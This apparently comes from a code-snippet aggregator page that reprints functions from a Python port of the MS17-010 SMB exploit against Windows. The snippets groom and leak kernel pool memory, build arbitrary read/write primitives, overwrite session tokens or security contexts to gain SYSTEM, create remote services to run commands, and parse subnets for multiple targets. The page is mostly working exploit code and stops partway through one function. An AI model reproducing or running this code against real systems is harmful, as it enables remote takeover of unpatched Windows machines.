Esempio n. 1
0
def get_group_data_from_token(info, tokenData):
	userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET']
	userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET']

	# try with default offsets
	success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)

	# hack to fix XP SP0 and SP1
	# I will avoid over-engineering a more elegant solution and leave this as a hack, 
	# since XP SP0 and SP1 is the only edge case in a LOT of testing!
	if not success and info['os'] == 'WINXP' and info['arch'] == 'x86':
		logger.blue('Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP WOKRAROUND...')

		userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
		userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']

		# try with hack offsets
		success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)

	# still no good. Abort because something is wrong
	if not success:
		logger.red('Bad TOKEN_USER_GROUP OFFSETS. ABORT > BSOD')
		sys.exit()

	# token parsed and validated
	return userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset
Esempio n. 2
0
def leak_frag_size(conn, tid, fid):
	# this method can be used on Windows Vista/2008 and later
	# leak "Frag" pool size and determine target architecture
	info = {}
	
	# A "Frag" pool is placed after the large pool allocation if last page has some free space left.
	# A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version.
	# To make exploit more generic, exploit does info leak to find a "Frag" pool size.
	# From the leak info, we can determine the target architecture too.
	mid = conn.next_mid()
	req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-TRANS_NAME_LEN)
	req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
	
	conn.send_raw(req1[:-8])
	conn.send_raw(req1[-8:]+req2)
	leakData = conn.recv_transaction_data(mid, 0x10d0+276)
	leakData = leakData[0x10d4:]  # skip parameters and its own input
	# Detect target architecture and calculate frag pool size
	if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
		logger.blue('Architecture: [{}]'.format(logger.BLUE('32 bit')))
		info['arch'] = 'x86'
		info['FRAG_POOL_SIZE'] = ord(leakData[ X86_INFO['FRAG_TAG_OFFSET']-2 ]) * X86_INFO['POOL_ALIGN']
	elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
		logger.blue('Architecture: [{}]'.format(logger.BLUE('64 bit')))
		info['arch'] = 'x64'
		info['FRAG_POOL_SIZE'] = ord(leakData[ X64_INFO['FRAG_TAG_OFFSET']-2 ]) * X64_INFO['POOL_ALIGN']
	else:
		logger.red('Could not find Frag pool tag in leak data')
		sys.exit()
	
	logger.blue('Frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
	return info
Esempio n. 3
0
def validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset):
	# struct _TOKEN:
	#	...
	#	ULONG UserAndGroupCount;                            // Ro: 4-Bytes
	#	ULONG RestrictedSidCount;                           // Ro: 4-Bytes
	# 	...
	#	PSID_AND_ATTRIBUTES UserAndGroups;                  // Wr: sizeof(void*)
	#	PSID_AND_ATTRIBUTES RestrictedSids;                 // Ro: sizeof(void*)
	#	...

	userAndGroupCount, RestrictedSidCount = unpack_from('<II', tokenData, userAndGroupCountOffset) 
	userAndGroupsAddr, RestrictedSids = unpack_from('<'+info['PTR_FMT']*2, tokenData, userAndGroupsAddrOffset)

	# RestrictedSidCount 	MUST be 0
	# RestrictedSids 	MUST be NULL
	#
	# userandGroupCount 	must NOT be 0
	# userandGroupsAddr 	must NOT be NULL
	#
	# Could also add a failure point here if userAndGroupCount >= x

	success = True

	if RestrictedSidCount != 0 or RestrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0:
		logger.red('BAD TOKEN_USER_GROUP OFFSETS DETECTED WHILE PARSING TOKENDATA!')
		logger.blue('RestrictedSids: 0x{:x}'.format(RestrictedSids))
		logger.blue('RestrictedSidCount: 0x{:x}'.format(RestrictedSidCount))
		success = False

	logger.blue('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
	logger.blue('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))

	return success, userAndGroupCount, userAndGroupsAddr 
Esempio n. 4
0
def worawit():
	target = args.target
	logger.blue('Connecting to: [{}]'.format(logger.BLUE(args.target)))

	if args.pipe:
		pipe_name = args.pipe
		logger.blue('Using specified pipe: [{}]'.format(logger.BLUE(args.pipe)))
	else:
		pipe_name = None	

	try:
		exploit(target, pipe_name)
		logger.green('FINISHED!')
	except:
		logger.red('Could not connect to: [{}]'.format(logger.RED(target)))
Esempio n. 5
0
def get_targets(targets):
    # parses an input of targets to get a list of all possible ips
    target_list = []

    try:
        with open(targets, 'r') as file:
            contents = file.readlines()
            for i in (contents):
                target = i.rstrip()
                target_list.append(target)
            logger.verbose('Amount of targets from input: {}'.format(logger.BLUE(str(len(target_list)))))
            return target_list
    except:
        try:
            if "/" in targets:
                try:
                    subnet = IPNetwork(targets)
                except:
                    logger.red('failed to parse')
                    quit()

                for i in subnet:
                    tmp_str = str(i)
                    last_octet = str(tmp_str.split('.')[3])
                    if last_octet == '0' or last_octet == '255':
                        pass
                    else:
                        target_list.append(str(i))
                logger.verbose('Amount of targets from input: {}'.format(logger.BLUE(str(len(target_list)))))
                return target_list
            elif "," in targets:
                ips=targets.split(',')
                for ip in ips:
                    target_list.append(ip)
                logger.verbose('Amount of targets from input: {}'.format(logger.BLUE(str(len(target_list)))))
                return target_list

            else:
                target_list.append(targets)
                logger.verbose('Amount of targets from input: {}'.format(logger.BLUE(str(len(target_list)))))
                return target_list
        except:
            logger.red('Failed to parse targets.')
            quit()
Esempio n. 6
0
def service_exec(conn, cmd):
	import random
	import string
	from impacket.dcerpc.v5 import transport, srvs, scmr
	
	service_name = ''.join([random.choice(string.letters) for i in range(4)])

	# Setup up a DCE SMBTransport with the connection already in place
	rpcsvc = conn.get_dce_rpc('svcctl')
	rpcsvc.connect()
	rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
	svcHandle = None
	try:
		logger.blue("Opening SVCManager ON %s..." % conn.get_remote_host())
		resp = scmr.hROpenSCManagerW(rpcsvc)
		svcHandle = resp['lpScHandle']
		
		# First we try to open the service in case it exists. If it does, we remove it.
		try:
			resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
		except Exception as e:
			if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
				raise e  # Unexpected error
		else:
			# It exists, remove it
			scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
			scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
		
		logger.blue('Creating service [%s]' % service_name)
		resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
		serviceHandle = resp['lpServiceHandle']
		
		if serviceHandle:
			# Start service
			try:
				logger.blue('Starting service [%s]' % service_name)
				scmr.hRStartServiceW(rpcsvc, serviceHandle)
				# is it really need to stop?
				# using command line always makes starting service fail because SetServiceStatus() does not get called
				#print('Stoping service %s.....' % service_name)
				#scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
			except Exception as e:
				logger.red(str(e))
			
			logger.blue('Removing service [%s]' % service_name)
			scmr.hRDeleteService(rpcsvc, serviceHandle)
			scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
	except Exception as e:
		logger.red("ServiceExec Error on: [%s]" % conn.get_remote_host())
		logger.red(str(e))
	finally:
		if svcHandle:
			scmr.hRCloseServiceHandle(rpcsvc, svcHandle)

	rpcsvc.disconnect()
Esempio n. 7
0
def run():
	target = args.target

	if args.user:
		if args.password == None:
			logger.red('Please specify username and password')
			quit()
		else:
			username = args.user
			password = args.password
	else:
		username = ''

	if args.password:
		if args.user == None:
			logger.red('Please specify username and password')
			quit()
		else:
			username = args.user
			password = args.password
	else:
		password = ''

	if args.domain:
		domain = args.domain
	else:
		domain = ''

	if args.pipe:
		pipe_name = args.pipe
		logger.blue('Using specified pipe: [{}]'.format(logger.BLUE(args.pipe)))
	else:
		pipe_name = None	

	try:
		result = exploit(target,username,password,pipe_name)
	except Exception as e:
		logger.red(str(e))
		quit()
	if result:
		logger.green('Exploit finished!')
	else:
		logger.red('Failed to finish exploit')
Esempio n. 8
0
def worawit(target):
	try:
		logger.blue('Connecting to: [{}]'.format(logger.BLUE(target)))
		try:
			conn = MYSMB(target, timeout=5)
		except:
			logger.red('Failed to connect to [{}]'.format(logger.RED(target)))
			return False
		try:
			conn.login(USERNAME, PASSWORD)
		except:
			logger.red('Authentication failed: [{}]'.format(logger.RED(nt_errors.ERROR_MESSAGES[e.error_code][0])))
			quit()
		finally:
			logger.blue('Got OS: [{}]'.format(logger.BLUE(conn.get_server_os())))

		tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
		conn.set_default_tid(tid)

		# test if target is vulnerable
		TRANS_PEEK_NMPIPE = 0x23
		recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800)
		status = recvPkt.getNTStatus()
		if status == 0xC0000205:  # STATUS_INSUFF_SERVER_RESOURCES
			logger.green('[{}] IS NOT PATCHED!'.format(logger.GREEN(target)))
		else:
			logger.red('[{}] IS PATCHED!'.format(logger.RED(target)))
			quit()

		logger.blue('Checking named pipes...')
		for pipe_name, pipe_uuid in pipes.items():
			try:
				dce = conn.get_dce_rpc(pipe_name)
				dce.connect()
				try:
					dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax)
					logger.green('\t-\t{}: OK (64 bit)'.format(logger.GREEN(pipe_name)))
				except DCERPCException as e:
					if 'transfer_syntaxes_not_supported' in str(e):
						logger.green('\t-\t{}: OK (32 bit)'.format(logger.GREEN(pipe_name)))
					else:
						logger.green('\t-\t{}: OK ({})'.format(logger.GREEN(pipe_name), str(e)))
				dce.disconnect()
			except smb.SessionError as e:
				logger.red('{}: {}'.format(logger.RED(pipe_name), logger.RED(nt_errors.ERROR_MESSAGES[e.error_code][0])))
			except smbconnection.SessionError as e:
				logger.red('{}: {}'.format(logger.RED(pipe_name), logger.RED(nt_errors.ERROR_MESSAGES[e.error][0])))

		conn.disconnect_tree(tid)
		conn.logoff()
		conn.get_socket().close()
	except (KeyboardInterrupt, SystemExit):
		logger.red('Keyboard interrupt received..')
		quit()
Esempio n. 9
0
def exploit(target, pipe_name):

	conn = MYSMB(target)
	
	# set NODELAY to make exploit much faster
	conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

	info = {}

	conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
	server_os = conn.get_server_os()
	logger.blue('OS: {}'.format(logger.BLUE(server_os)))

	if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):
		info['os'] = 'WIN7'
		info['method'] = exploit_matched_pairs
	elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 ") or server_os.startswith("Windows 10") or server_os.startswith("Windows RT 9200"):
		info['os'] = 'WIN8'
		info['method'] = exploit_matched_pairs
	elif server_os.startswith("Windows Server (R) 2008") or server_os.startswith("Windows Vista") or server_os.startswith("Windows (R) Web Server 2008"):
		info['os'] = 'WIN7'
		info['method'] = exploit_fish_barrel
	elif server_os.startswith("Windows Server 2003 "):
		info['os'] = 'WIN2K3'
		info['method'] = exploit_fish_barrel
	elif server_os.startswith("Windows 5.1"):
		info['os'] = 'WINXP'
		info['arch'] = 'x86'
		info['method'] = exploit_fish_barrel
	elif server_os.startswith("Windows XP "):
		info['os'] = 'WINXP'
		info['arch'] = 'x64'
		info['method'] = exploit_fish_barrel
	elif server_os.startswith("Windows 5.0"):
		info['os'] = 'WIN2K'
		info['arch'] = 'x86'
		info['method'] = exploit_fish_barrel
	else:
		logger.red('Target isnt supported...')
		quit()
	
	if pipe_name is None:
		pipe_name = find_named_pipe(conn)
		if pipe_name is None:
			logger.red('Couldnt get named pipe...')
			return False
		logger.green('Using pipe: [{}]'.format(pipe_name))

	if not info['method'](conn, pipe_name, info):
		return False

	# Now, read_data() and write_data() can be used for arbitrary read and write.
	# ================================
	# Modify this SMB session to be SYSTEM
	# ================================	
	fmt = info['PTR_FMT']
	
	logger.blue('Creating SYSTEM Session')
	# IsNullSession = 0, IsAdmin = 1
	write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')

	# read session struct to get SecurityContext address
	sessionData = read_data(conn, info, info['session'], 0x100)
	secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]

	if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
		# Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
		# Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
		# much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.
		
		# find the token and modify it
		if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
			pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
			pctxtDataAddr = unpack_from('<'+fmt, pctxtDataInfo)[0]
		else:
			pctxtDataAddr = secCtxAddr

		tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
		tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0]
		logger.blue('Current Token Addr: 0x{:x}'.format(tokenAddr))
		
		# copy Token data for restoration
		tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
		
		# parse necessary data out of token
		userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData)

		logger.blue('Overwriting Token [UserAndGroups]')
		# modify UserAndGroups info
		fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
		if fakeUserAndGroupCount != userAndGroupCount:
			write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', fakeUserAndGroupCount))
		write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
	else:
		# the target can use PsImperonateClient for impersonation (Windows 2008 and later)
		# copy SecurityContext for restoration
		secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])

		logger.blue('Overwriting session security context')
		# see FAKE_SECCTX detail at top of the file
		write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])

	# ================================
	# do whatever we want as SYSTEM over this SMB connection
	# ================================	
	# try:
	smb_pwn(conn, info['arch'])
	# except:
	# 	pass

	# restore SecurityContext/Token
	if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
		userAndGroupsOffset = userAndGroupsAddr - tokenAddr
		write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)])
		if fakeUserAndGroupCount != userAndGroupCount:
			write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', userAndGroupCount))
	else:
		write_data(conn, info, secCtxAddr, secCtxData)

	conn.disconnect_tree(conn.get_tid())
	conn.logoff()
	conn.get_socket().close()
	return True
Esempio n. 10
0
def exploit_fish_barrel(conn, pipe_name, info):
	# for Windows Vista/2008 and earlier
	
	tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
	conn.set_default_tid(tid)
	# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
	fid = conn.nt_create_andx(tid, pipe_name)
	info['fid'] = fid

	if info['os'] == 'WIN7' and 'arch' not in info:
		# leak_frag_size() can be used against Windows Vista/2008 to determine target architecture
		info.update(leak_frag_size(conn, tid, fid))
	
	if 'arch' in info:
		# add os and arch specific exploit info
		info.update(OS_ARCH_INFO[info['os']][info['arch']])
		attempt_list = [ OS_ARCH_INFO[info['os']][info['arch']] ]
	else:
		# do not know target architecture
		# this case is only for Windows 2003
		# try offset of 64 bit then 32 bit because no target architecture
		attempt_list = [ OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86'] ]
	
	# ================================
	# groom packets
	# ================================
	# sum of transaction name, parameters and data length is 0x1000
	# paramterCount = 0x100-TRANS_NAME_LEN
	logger.blue('Groom Packets')
	trans_param = pack('<HH', info['fid'], 0)
	for i in range(12):
		mid = info['fid'] if i == 8 else next_extra_mid()
		conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)	
	
	# expected transactions alignment
	#
	#    +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
	#    |  mid=mid1 |  mid=mid2 |             |  mid=mid8 |  mid=fid  |  mid=mid9 | mid=mid10 | mid=mid11 |
	#    +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
	#                                                         trans1       trans2

	# ================================
	# shift transaction Indata ptr with SmbWriteAndX
	# ================================
	shift_indata_byte = 0x200
	conn.do_write_andx_raw_pipe(info['fid'], 'A'*shift_indata_byte)
	
	# ================================
	# Dangerous operation: attempt to control one transaction
	# ================================
	# Note: POOL_ALIGN value is same as heap alignment value
	success = False
	for tinfo in attempt_list:
		logger.blue('Attempting to control next transaction ' + tinfo['ARCH'])

		HEAP_CHUNK_PAD_SIZE = (tinfo['POOL_ALIGN'] - (tinfo['TRANS_SIZE']+HEAP_HDR_SIZE) % tinfo['POOL_ALIGN']) % tinfo['POOL_ALIGN']
		NEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE

		# Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
		conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])
		wait_for_request_processed(conn)

		# if the overwritten is correct, a modified transaction mid should be special_mid now.
		# a new transaction with special_mid should be error.
		recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
		if recvPkt.getNTStatus() == 0x10002:  # invalid SMB
			logger.green('Successfully controlled one transaction!')
			success = True
			if 'arch' not in info:
				logger.blue('Target is '+tinfo['ARCH'])
				info['arch'] = tinfo['ARCH']
				info.update(OS_ARCH_INFO[info['os']][info['arch']])
			break
		if recvPkt.getNTStatus() != 0:
			logger.red('Unexpected Return Status: [0x{:x}]'.format(recvPkt.getNTStatus()))
	
	if not success:
		logger.red('Unexpected Return Status: 0x{:x}'.format(recvPkt.getNTStatus()))
		logger.red('May have written to the wrong place')
		logger.red('Target may have crashed...')
		return False


	# NSA eternalromance modify transaction RefCount to keep controlled and reuse transaction after leaking info.
	# This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder
	#   because of this unfreed memory chunk. I will avoid it.
	
	# From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two 
	# transactions (do not know the address).
	# After reading memory by modifying and completing trans2, trans2 cannot be used anymore.
	# To be able to use trans1 after trans2 is gone, we need to modify trans1 to be able to modify itself.
	# To be able to modify trans1 struct, we need to use trans2 param or data but write backward.
	# On 32 bit target, we can write to any address if parameter count is 0xffffffff.
	# On 64 bit target, modifying paramter count is not enough because address size is 64 bit. Because our transactions
	#   are allocated with RtlAllocateHeap(), the HIDWORD of InParameter is always 0. To be able to write backward with offset only,
	#   we also modify HIDWORD of InParameter to 0xffffffff.
	
	logger.blue('Modifying parameter count to 0xffffffff to write backwards')
	conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
	# on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too
	if info['arch'] == 'x64':
		conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
	wait_for_request_processed(conn)
	
	TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 0x1000 + HEAP_CHUNK_PAD_SIZE
	PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN
	PREV_TRANS_OFFSET = 0x100000000 - PREV_TRANS_DISPLACEMENT

	# modify paramterCount of first transaction
	conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
	if info['arch'] == 'x64':
		conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
		# restore trans2.InParameters pointer before leaking next transaction
		conn.send_trans_secondary(mid=info['fid'], data='\x00'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
	wait_for_request_processed(conn)

	# ================================
	# leak transaction
	# ================================
	logger.blue('Leaking next transaction')
	# modify TRANSACTION member to leak info
	# function=5 (NT_TRANS_RENAME)
	conn.send_trans_secondary(mid=info['fid'], data='\x05', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_FUNCTION_OFFSET'])
	# parameterCount, totalParameterCount, maxParameterCount, dataCount, totalDataCount
	conn.send_trans_secondary(mid=info['fid'], data=pack('<IIIII', 4, 4, 4, 0x100, 0x100), dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_PARAMCNT_OFFSET'])

	conn.send_nt_trans_secondary(mid=special_mid)
	leakData = conn.recv_transaction_data(special_mid, 0x100)
	leakData = leakData[4:]  # remove param
	#open('leak.dat', 'wb').write(leakData)

	# check heap chunk size value in leak data
	if unpack_from('<H', leakData, HEAP_CHUNK_PAD_SIZE)[0] != (TRANS_CHUNK_SIZE // info['POOL_ALIGN']):
		logger.red('Chunk size is wrong...')
		return False

	# extract leak transaction data and make next transaction to be trans2
	leakTranOffset = HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
	leakTrans = leakData[leakTranOffset:]
	fmt = info['PTR_FMT']
	_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+fmt*5, leakTrans, 8)
	inparam_value, outparam_value, indata_value = unpack_from('<'+fmt*3, leakTrans, info['TRANS_INPARAM_OFFSET'])
	trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
	
	logger.blue('Connection: 0x{:x}'.format(connection_addr))
	logger.blue('Session: 0x{:x}'.format(session_addr))
	logger.blue('Flink: 0x{:x}'.format(flink_value))
	logger.blue('InData: 0x{:x}'.format(indata_value))
	logger.blue('MID: 0x{:x}'.format(trans2_mid))
	
	trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN
	trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
	logger.blue('Trans1: 0x{:x}'.format(trans1_addr))
	logger.blue('Trans2: 0x{:x}'.format(trans2_addr))
	
	# ================================
	# modify trans struct to be used for arbitrary read/write
	# ================================
	logger.blue('modify transaction struct for arbitrary read/write')
	# modify
	# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
	# - trans1.InData to &trans2. so we can modify trans2 with trans1 data
	# Note: HIDWORD of trans1.InParameter is still 0xffffffff
	TRANS_OFFSET = 0x100000000 - (info['TRANS_SIZE'] + TRANS_NAME_LEN)
	conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr), paramDisplacement=TRANS_OFFSET+info['TRANS_INPARAM_OFFSET'])
	wait_for_request_processed(conn)
	
	# modify trans1.mid
	trans1_mid = conn.next_mid()
	conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET'])
	wait_for_request_processed(conn)
	
	info.update({
		'connection': connection_addr,
		'session': session_addr,
		'trans1_mid': trans1_mid,
		'trans1_addr': trans1_addr,
		'trans2_mid': trans2_mid,
		'trans2_addr': trans2_addr,
	})
	return True
Esempio n. 11
0
def exploit_matched_pairs(conn, pipe_name, info):
	# for Windows 7/2008 R2 and later
	
	tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
	conn.set_default_tid(tid)
	# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
	fid = conn.nt_create_andx(tid, pipe_name)
	
	info.update(leak_frag_size(conn, tid, fid))
	# add os and arch specific exploit info
	info.update(OS_ARCH_INFO[info['os']][info['arch']])
	
	# groom: srv buffer header
	info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
	logger.blue('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
	# groom paramters and data is alignment by 8 because it is NT_TRANS
	info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - info['TRANS_SIZE']  # alignment (4)

	# bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)
	bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE']
	info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])
	logger.blue('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
	# bride paramters and data is alignment by 4 because it is TRANS
	info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE']
	
	# ================================
	# try align pagedpool and leak info until satisfy
	# ================================
	leakInfo = None
	# max attempt: 10
	for i in range(10):
		reset_extra_mid(conn)
		leakInfo = align_transaction_and_leak(conn, tid, fid, info)
		if leakInfo is not None:
			break
		logger.red('Leak failed! Retrying...')
		conn.close(tid, fid)
		conn.disconnect_tree(tid)
		
		tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
		conn.set_default_tid(tid)
		fid = conn.nt_create_andx(tid, pipe_name)

	if leakInfo is None:
		return False
	
	info['fid'] = fid
	info.update(leakInfo)

	# ================================
	# shift transGroom.Indata ptr with SmbWriteAndX
	# ================================
	shift_indata_byte = 0x200
	conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte)

	# Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place.
	#       So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
	# maxParameterCount (0x1000), trans name (4), param (4)
	indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte
	indata_next_trans_displacement = info['trans2_addr'] - indata_value
	conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
	wait_for_request_processed(conn)

	# if the overwritten is correct, a modified transaction mid should be special_mid now.
	# a new transaction with special_mid should be error.
	recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='')
	if recvPkt.getNTStatus() != 0x10002:  # invalid SMB
		logger.red('Unexpected return status: [0x{:x}]'.format(recvPkt.getNTStatus()))
		logger.red('Written to wrong place')
		logger.red('Target may have crashed...')
		return False

	logger.green('Successfully controlled the Groom Transaction')

	# NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly
	# but this method make the transation never get freed
	# I will avoid memory leak
	
	# ================================
	# modify trans1 struct to be used for arbitrary read/write
	# ================================
	logger.blue('Modifying Trans1 Struct for Read/Write')
	fmt = info['PTR_FMT']
	# use transGroom to modify trans2.InData to &trans1. so we can modify trans1 with trans2 data
	conn.send_nt_trans_secondary(mid=fid, data=pack('<'+fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET'])
	wait_for_request_processed(conn)

	# modify
	# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
	# - trans1.InData to &trans2. so we can modify trans2 with trans1 data
	conn.send_nt_trans_secondary(mid=special_mid, data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET'])
	wait_for_request_processed(conn)

	# modify trans2.mid
	info['trans2_mid'] = conn.next_mid()
	conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
	return True
Esempio n. 12
0
def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
	trans_param = pack('<HH', fid, 0)  # param for NT_RENAME
	# fill large pagedpool holes (maybe no need)
	for i in range(numFill):
		conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)

	mid_ntrename = conn.next_mid()
	# first GROOM, for leaking next BRIDE transaction
	req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0)
	req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes
	# second GROOM, for controlling next BRIDE transaction
